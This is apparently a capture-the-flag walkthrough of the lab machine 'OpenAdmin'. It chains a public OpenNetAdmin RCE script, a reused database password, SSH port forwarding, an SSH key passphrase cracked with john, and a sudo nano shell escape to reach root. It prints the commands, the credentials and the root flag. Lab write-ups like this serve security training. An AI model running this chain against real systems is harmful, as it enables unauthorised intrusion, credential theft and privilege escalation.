OpenAdmin
NMAP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 22:19 IST
Nmap scan report for 10.10.10.171
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.29 seconds
Port 80
An apache default page, I ll use gobuster to find directories.
Gobuster
gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.171
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/music (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
Only the Login button works,
It is a openadmin of version v18.1.1
Googling around for this version I found RCE.
https://github.com/amriunix/ona-rce
git clone https://github.com/amriunix/ona-rce.git
cd ona-rce
python3 ona-rce.py exploit http://10.10.10.171/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ whoami
www-data
I ll start with WWW
/OPT/ONA/WWW
I found credentials for Database, which is a password reuse for user jimmy.
www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
SSH as JIMMY
ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password:
Last login: Wed Apr 10 18:13:54 2024 from 10.10.14.22
jimmy@openadmin:~$ whoami
jimmy
jimmy@openadmin:~$
groups
jimmy internal
jimmy@openadmin:~$ find / 2>/dev/null -group internal
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
index.php ->
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc
658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
I google this hash and found a result.
jimmy:Revealed
Internal.openadmin.htb is running on port 52846,
cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
I ll forward this port to my box.
Forward Port
ssh jimmy@10.10.10.171 -L 127.0.0.1:52846:127.0.0.1:52846
jimmy@10.10.10.171's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Apr 11 03:27:49 UTC 2024
System load: 0.0 Processes: 188
Usage of /: 31.0% of 7.81GB Users logged in: 0
Memory usage: 15% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Apr 11 03:23:54 2024 from 10.10.14.22
jimmy@openadmin:~$
jimmy:Revealed
Found a encrypted Id_rsa ->
I ll crack it using ssh2john
ssh2john id_rsa.enc > john
john john --wordlist=/usr/share/wordlists/rockyou.txt
john john --show
id_rsa.enc:bloodninjas
1 password hash cracked, 0 left
I ll login as Joanna user.
ssh -i id_rsa.enc joanna@openadmin.htb
Enter passphrase for key 'id_rsa.enc':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Apr 11 03:30:57 UTC 2024
System load: 0.0 Processes: 193
Usage of /: 31.0% of 7.81GB Users logged in: 1
Memory usage: 15% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Apr 10 18:25:29 2024 from 10.10.14.22
joanna@openadmin:~$
Get Root
sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
I ll use GTFOBINS to get root
https://gtfobins.github.io/gtfobins/nano/#sudo
sudo /bin/nano /opt/priv
CTRL+R
CTRL+X
reset; sh 1>&0 2>&0
cd /home
# lset Help ^X Read File
jimmy joanna M-F New Buffer
# cd /root
# ls
root.txt
# whoami
root
# cat /root/root.txt
dbaac33c6f89a54faaac356284c4faef
Root.